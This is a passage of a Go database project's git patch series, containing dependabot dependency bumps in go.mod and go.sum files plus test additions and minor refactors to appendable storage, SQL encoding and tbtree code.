h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= -golang.org/x/term v0.9.0 h1:GRRCnKYhdQrD8kfRAdQ6Zcw1P0OcELxGLKJvtjVMZ28= -golang.org/x/term v0.9.0/go.mod h1:M6DEAAIenWoTxdKrOltXcmDY3rSplQUkrvaDU5FcQyo= +golang.org/x/term v0.10.0 h1:3R7pNqamzBraeqj/Tj8qt1aQ2HpmlC+Cx/qL/7hn4/c= +golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1639,8 +1638,8 @@ golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= -golang.org/x/text v0.10.0 h1:UpjohKhiEgNc0CSauXmwYftY1+LlaC75SJwh0SgCX58= -golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4= +golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From 4eda2b53caeec7c9b5b3177509f8adc03559ea49 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 5 Jul 2023 20:24:50 +0000 Subject: [PATCH 0677/1062] chore(deps): bump golang.org/x/net from 0.10.0 to 0.12.0 Bumps [golang.org/x/net](https://github.com/golang/net) from 0.10.0 to 0.12.0. - [Commits](https://github.com/golang/net/compare/v0.10.0...v0.12.0) --- updated-dependencies: - dependency-name: golang.org/x/net dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index 93fcc1538e..ffbad758f7 100644 --- a/go.mod +++ b/go.mod @@ -34,7 +34,7 @@ require ( github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.11.0 - golang.org/x/net v0.10.0 + golang.org/x/net v0.12.0 golang.org/x/sys v0.10.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc diff --git a/go.sum b/go.sum index 0dcfa6cb10..df1488879c 100644 --- a/go.sum +++ b/go.sum @@ -1458,8 +1458,9 @@ golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= -golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50= +golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= From 754bb5a79a540e01ab49daef6c44dbf0d6250b8f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 5 Jul 2023 21:21:01 +0000 Subject: [PATCH 0678/1062] chore(deps): bump google.golang.org/grpc Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.46.2 to 1.53.0. - [Release notes](https://github.com/grpc/grpc-go/releases) - [Commits](https://github.com/grpc/grpc-go/compare/v1.46.2...v1.53.0) --- updated-dependencies: - dependency-name: google.golang.org/grpc dependency-type: indirect ... Signed-off-by: dependabot[bot] --- .../vulnerabilities/linear-fake/server/go.mod | 8 ++++---- .../vulnerabilities/linear-fake/server/go.sum | 14 +++++++++----- 2 files changed, 13 insertions(+), 9 deletions(-) diff --git a/docs/security/vulnerabilities/linear-fake/server/go.mod b/docs/security/vulnerabilities/linear-fake/server/go.mod index c5954cb604..ed7f9e56d9 100644 --- a/docs/security/vulnerabilities/linear-fake/server/go.mod +++ b/docs/security/vulnerabilities/linear-fake/server/go.mod @@ -14,7 +14,7 @@ require ( github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect github.com/beorn7/perks v1.0.1 // indirect - github.com/cespare/xxhash/v2 v2.1.2 // indirect + github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/fsnotify/fsnotify v1.5.4 // indirect github.com/golang/protobuf v1.5.2 // indirect @@ -49,9 +49,9 @@ require ( golang.org/x/sys v0.5.0 // indirect golang.org/x/term v0.5.0 // indirect golang.org/x/text v0.7.0 // indirect - google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd // indirect - google.golang.org/grpc v1.46.2 // indirect - google.golang.org/protobuf v1.28.0 // indirect + google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f // indirect + google.golang.org/grpc v1.53.0 // indirect + google.golang.org/protobuf v1.28.1 // indirect gopkg.in/ini.v1 v1.66.6 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/docs/security/vulnerabilities/linear-fake/server/go.sum b/docs/security/vulnerabilities/linear-fake/server/go.sum index 825fa76ec6..b86257ba16 100644 --- a/docs/security/vulnerabilities/linear-fake/server/go.sum +++ b/docs/security/vulnerabilities/linear-fake/server/go.sum @@ -94,8 +94,9 @@ github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqO github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= +github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= @@ -222,8 +223,8 @@ github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= -github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= @@ -1083,8 +1084,9 @@ google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd h1:e0TwkXOdbnH/1x5rc5MZ/VYyiZ4v+RdVfrGMqEwT68I= google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w= +google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -1115,8 +1117,9 @@ google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9K google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.46.2 h1:u+MLGgVf7vRdjEYZ8wDFhAVNmhkbJ5hmrA1LMWK1CAQ= google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc= +google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= @@ -1131,8 +1134,9 @@ google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlba google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= From e6cd0d0178184c8b54a4ed59b9ad26a13e08c890 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Jul 2023 17:19:52 -0300 Subject: [PATCH 0679/1062] test(embedded/appendable): minor code changes Signed-off-by: Jeronimo Irazabal --- embedded/ahtree/ahtree_test.go | 3 +++ embedded/appendable/multiapp/multi_app_test.go | 11 ++++++++++- embedded/appendable/remoteapp/remote_app.go | 16 +++++++--------- .../remoteapp/remote_storage_reader_test.go | 5 +++++ embedded/appendable/singleapp/options_test.go | 6 ++++++ embedded/appendable/singleapp/single_app.go | 12 ++++++------ embedded/store/immustore_test.go | 1 + 7 files changed, 38 insertions(+), 16 deletions(-) diff --git a/embedded/ahtree/ahtree_test.go b/embedded/ahtree/ahtree_test.go index 756195c9ae..7423ed4525 100644 --- a/embedded/ahtree/ahtree_test.go +++ b/embedded/ahtree/ahtree_test.go @@ -144,6 +144,9 @@ func (t *EdgeCasesTestSuite) TestShouldFailOnIllegalArguments() { _, err = OpenWith(nil, nil, nil, DefaultOptions()) t.Require().ErrorIs(err, ErrIllegalArguments) + + _, err = OpenWith(t.pLog, t.dLog, t.cLog, nil) + t.Require().ErrorIs(err, ErrIllegalArguments) } func (t *EdgeCasesTestSuite) TestShouldFailWhileQueryingCLogSize() { diff --git a/embedded/appendable/multiapp/multi_app_test.go b/embedded/appendable/multiapp/multi_app_test.go index d0e3e57cad..364311e538 100644 --- a/embedded/appendable/multiapp/multi_app_test.go +++ b/embedded/appendable/multiapp/multi_app_test.go @@ -191,7 +191,10 @@ func TestMultiAppReOpening(t *testing.T) { err = a.Close() require.NoError(t, err) - a, err = Open(copyPath, DefaultOptions().WithReadOnly(true)) + a, err = Open(copyPath, DefaultOptions()) + require.NoError(t, err) + + err = a.SwitchToReadOnlyMode() require.NoError(t, err) sz, err := a.Size() @@ -213,6 +216,9 @@ func TestMultiAppReOpening(t *testing.T) { err = a.Flush() require.ErrorIs(t, err, ErrReadOnly) + err = a.SwitchToReadOnlyMode() + require.ErrorIs(t, err, ErrReadOnly) + err = a.Sync() require.ErrorIs(t, err, ErrReadOnly) @@ -265,6 +271,9 @@ func TestMultiAppEdgeCases(t *testing.T) { err = a.Flush() require.ErrorIs(t, err, ErrAlreadyClosed) + err = a.SwitchToReadOnlyMode() + require.ErrorIs(t, err, ErrAlreadyClosed) + err = a.Sync() require.ErrorIs(t, err, ErrAlreadyClosed) diff --git a/embedded/appendable/remoteapp/remote_app.go b/embedded/appendable/remoteapp/remote_app.go index c7da855d65..9b832434cf 100644 --- a/embedded/appendable/remoteapp/remote_app.go +++ b/embedded/appendable/remoteapp/remote_app.go @@ -241,8 +241,8 @@ func (r *RemoteStorageAppendable) uploadChunk(chunkID int64, dontRemoveFile bool // Replace the cached instance of appendable for the chunk cp.Step(func() error { oldApp, err := r.ReplaceCachedChunk(chunkID, newApp) - if err != nil && err != cache.ErrKeyNotFound { - // Couldn't replace the cache entry? Can't continue with the cleanup + // Couldn't replace the cache entry? Can't continue with the cleanup + if err != nil && !errors.Is(err, cache.ErrKeyNotFound) { return err } if err == nil { @@ -477,9 +477,7 @@ func (r *RemoteStorageAppendable) OpenAppendable(options *singleapp.Options, app continue case chunkState_Cleaning: - // Removal operation can not be interrupted, - // wait for it to finish - r.chunkUploadFinished.Wait() + r.chunkUploadFinished.Wait() // Removal operation can not be interrupted,wait for it to finish continue case chunkState_Remote: @@ -496,11 +494,11 @@ func (r *RemoteStorageAppendable) OpenAppendable(options *singleapp.Options, app continue case chunkState_DownloadError: + // Even though the chunk couldn't be downloaded locally, + // it's still available remotely and we should be able to read from it if activeChunk { return nil, ErrCantDownload } - // Even though the chunk couldn't be downloaded locally, - // it's still available remotely and we should be able to read from it return r.openRemoteAppendableReader(appname) default: @@ -528,8 +526,8 @@ func (r *RemoteStorageAppendable) OpenInitialAppendable(opts *multiapp.Options, return nil, 0, err } + // Sanity check if r.appendableName(id) != fi.Name() { - // Sanity check return nil, 0, ErrInvalidLocalStorage } @@ -553,8 +551,8 @@ func (r *RemoteStorageAppendable) OpenInitialAppendable(opts *multiapp.Options, return nil, 0, err } + // Sanity check if r.appendableName(id) != entry.Name { - // Sanity check return nil, 0, ErrInvalidRemoteStorage } diff --git a/embedded/appendable/remoteapp/remote_storage_reader_test.go b/embedded/appendable/remoteapp/remote_storage_reader_test.go index b08e71fcae..46e384b9ed 100644 --- a/embedded/appendable/remoteapp/remote_storage_reader_test.go +++ b/embedded/appendable/remoteapp/remote_storage_reader_test.go @@ -57,6 +57,11 @@ func TestRemoteStorageSync(t *testing.T) { require.NoError(t, r.Sync()) } +func TestRemoteStorageSwitchToReadOnlyMode(t *testing.T) { + r := remoteStorageReader{} + require.NoError(t, r.SwitchToReadOnlyMode()) +} + func TestRemoteStorageReadAt(t *testing.T) { m := memory.Open() storeData(t, m, "fl", []byte{ diff --git a/embedded/appendable/singleapp/options_test.go b/embedded/appendable/singleapp/options_test.go index 7fc59229b6..1b938d50cb 100644 --- a/embedded/appendable/singleapp/options_test.go +++ b/embedded/appendable/singleapp/options_test.go @@ -61,6 +61,12 @@ func TestValidOptions(t *testing.T) { require.Equal(t, DefaultReadBufferSize+1, opts.WithReadBufferSize(DefaultReadBufferSize+1).GetReadBufferSize()) require.NoError(t, opts.Validate()) + opts.WithPreallocSize(-1) + require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) + + require.Equal(t, 10, opts.WithPreallocSize(10).GetPreallocSize()) + require.NoError(t, opts.Validate()) + require.False(t, opts.WithReadOnly(false).readOnly) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) diff --git a/embedded/appendable/singleapp/single_app.go b/embedded/appendable/singleapp/single_app.go index 3cb8bf37ed..5d7bb58e1f 100644 --- a/embedded/appendable/singleapp/single_app.go +++ b/embedded/appendable/singleapp/single_app.go @@ -444,8 +444,8 @@ func (aof *AppendableFile) write(bs []byte) (n int, err error) { if available == 0 { if aof.retryableSync { + // Sync must be called to free buffer space if !aof.autoSync { - // Sync must be called to free buffer space return n, ErrBufferFull } @@ -690,17 +690,17 @@ func (aof *AppendableFile) sync() error { } // retryableSync + // Buffer space is not freed when there is an error during sync + + // prevent data lost when fsync fails + // buffered data may be re-written in following + // flushing and syncing calls. if err == nil { // buffer space is freed aof.wbufFlushedOffset = 0 aof.wbufUnwrittenOffset = 0 } else { - // Buffer space is not freed when there is an error during sync - - // prevent data lost when fsync fails - // buffered data may be re-written in following - // flushing and syncing calls. aof.fileOffset -= int64(aof.wbufFlushedOffset) aof.seekRequired = true diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 6b251340c2..2eacd972cc 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -195,6 +195,7 @@ func TestImmudbStoreConcurrentCommitsWithEmbeddedValues(t *testing.T) { WithSynced(false). WithMaxConcurrency(5). WithEmbeddedValues(true). + WithPreallocFiles(true). WithVLogCacheSize(10) immuStore, err := Open(t.TempDir(), opts) From 153f631d1274d84f57e23dd799d3f291b42b9888 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Jul 2023 17:59:34 -0300 Subject: [PATCH 0680/1062] test(embedded/tbtree): cover increaseTs cases Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 48 +++++++++------------------------- embedded/sql/engine_test.go | 2 +- embedded/sql/stmt.go | 15 +---------- embedded/tbtree/tbtree_test.go | 20 ++++++++++++++ 4 files changed, 34 insertions(+), 51 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 01b3b19af5..ed9e6d3a98 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -953,9 +953,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b { strVal, ok := convVal.(string) if !ok { - return nil, 0, fmt.Errorf( - "value is not a string: %w", ErrInvalidValue, - ) + return nil, 0, fmt.Errorf("value is not a string: %w", ErrInvalidValue) } if len(strVal) > maxLen { @@ -978,9 +976,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b intVal, ok := convVal.(int64) if !ok { - return nil, 0, fmt.Errorf( - "value is not an integer: %w", ErrInvalidValue, - ) + return nil, 0, fmt.Errorf("value is not an integer: %w", ErrInvalidValue) } // v @@ -1000,9 +996,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b boolVal, ok := convVal.(bool) if !ok { - return nil, 0, fmt.Errorf( - "value is not a boolean: %w", ErrInvalidValue, - ) + return nil, 0, fmt.Errorf("value is not a boolean: %w", ErrInvalidValue) } // v @@ -1018,9 +1012,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b { blobVal, ok := convVal.([]byte) if !ok { - return nil, 0, fmt.Errorf( - "value is not a blob: %w", ErrInvalidValue, - ) + return nil, 0, fmt.Errorf("value is not a blob: %w", ErrInvalidValue) } if len(blobVal) > maxLen { @@ -1043,9 +1035,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b timeVal, ok := convVal.(time.Time) if !ok { - return nil, 0, fmt.Errorf( - "value is not a timestamp: %w", ErrInvalidValue, - ) + return nil, 0, fmt.Errorf("value is not a timestamp: %w", ErrInvalidValue) } // v @@ -1061,9 +1051,7 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b { floatVal, ok := convVal.(float64) if !ok { - return nil, 0, fmt.Errorf( - "value is not a float: %w", ErrInvalidValue, - ) + return nil, 0, fmt.Errorf("value is not a float: %w", ErrInvalidValue) } // Apart form the sign bit, bit representation of float64 @@ -1115,9 +1103,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, { strVal, ok := convVal.(string) if !ok { - return nil, fmt.Errorf( - "value is not a string: %w", ErrInvalidValue, - ) + return nil, fmt.Errorf("value is not a string: %w", ErrInvalidValue) } if maxLen > 0 && len(strVal) > maxLen { @@ -1135,9 +1121,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, { intVal, ok := convVal.(int64) if !ok { - return nil, fmt.Errorf( - "value is not an integer: %w", ErrInvalidValue, - ) + return nil, fmt.Errorf("value is not an integer: %w", ErrInvalidValue) } // map to unsigned integer space @@ -1152,9 +1136,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, { boolVal, ok := convVal.(bool) if !ok { - return nil, fmt.Errorf( - "value is not a boolean: %w", ErrInvalidValue, - ) + return nil, fmt.Errorf("value is not a boolean: %w", ErrInvalidValue) } // len(v) + v @@ -1173,9 +1155,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, if val != nil { v, ok := convVal.([]byte) if !ok { - return nil, fmt.Errorf( - "value is not a blob: %w", ErrInvalidValue, - ) + return nil, fmt.Errorf("value is not a blob: %w", ErrInvalidValue) } blobVal = v } @@ -1195,9 +1175,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, { timeVal, ok := convVal.(time.Time) if !ok { - return nil, fmt.Errorf( - "value is not a timestamp: %w", ErrInvalidValue, - ) + return nil, fmt.Errorf("value is not a timestamp: %w", ErrInvalidValue) } // len(v) + v @@ -1211,9 +1189,7 @@ func EncodeRawValue(val interface{}, colType SQLValueType, maxLen int) ([]byte, { floatVal, ok := convVal.(float64) if !ok { - return nil, fmt.Errorf( - "value is not a float: %w", ErrInvalidValue, - ) + return nil, fmt.Errorf("value is not a float: %w", ErrInvalidValue) } var encv [EncLenLen + 8]byte diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 454c840202..eb44bcf1fa 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -343,7 +343,7 @@ func TestTimestampCasts(t *testing.T) { _, err = engine.Query(context.Background(), nil, "SELECT * FROM timestamp_table WHERE id < CAST(true AS TIMESTAMP)", nil) require.ErrorIs(t, err, ErrUnsupportedCast) - rowReader, err := engine.Query(context.Background(), nil, "SELECT * FROM timestamp_table WHERE ts > CAST(id AS TIMESTAMP)", nil) + rowReader, err := engine.Query(context.Background(), nil, "SELECT * FROM timestamp_table WHERE ts > CAST(id::INTEGER AS TIMESTAMP)", nil) require.NoError(t, err) _, err = rowReader.Read(context.Background()) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 9ff5457d70..ae803b3778 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -453,10 +453,6 @@ type AddColumnStmt struct { colSpec *ColSpec } -func NewAddColumnStmt(table string, colSpec *ColSpec) *AddColumnStmt { - return &AddColumnStmt{table: table, colSpec: colSpec} -} - func (stmt *AddColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -872,10 +868,6 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return nil } -func EncodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error) { - return encodedPK(table, valuesByColID) -} - func encodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error) { valbuf := bytes.Buffer{} @@ -2001,12 +1993,7 @@ func (c *Cast) inferType(cols map[string]ColDescriptor, params map[string]SQLVal func (c *Cast) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if c.t != t { - return fmt.Errorf( - "%w: can not use value cast to %s as %s", - ErrInvalidTypes, - c.t, - t, - ) + return fmt.Errorf("%w: can not use value cast to %s as %s", ErrInvalidTypes, c.t, t) } return nil diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 4e62d5fc73..cdc0162c0a 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -1230,6 +1230,26 @@ func TestTBTreeIncreaseTs(t *testing.T) { require.Equal(t, uint64(3), tbtree.Ts()) + for i := 1; i < 1_000; i++ { + err = tbtree.Insert([]byte(fmt.Sprintf("key%d", 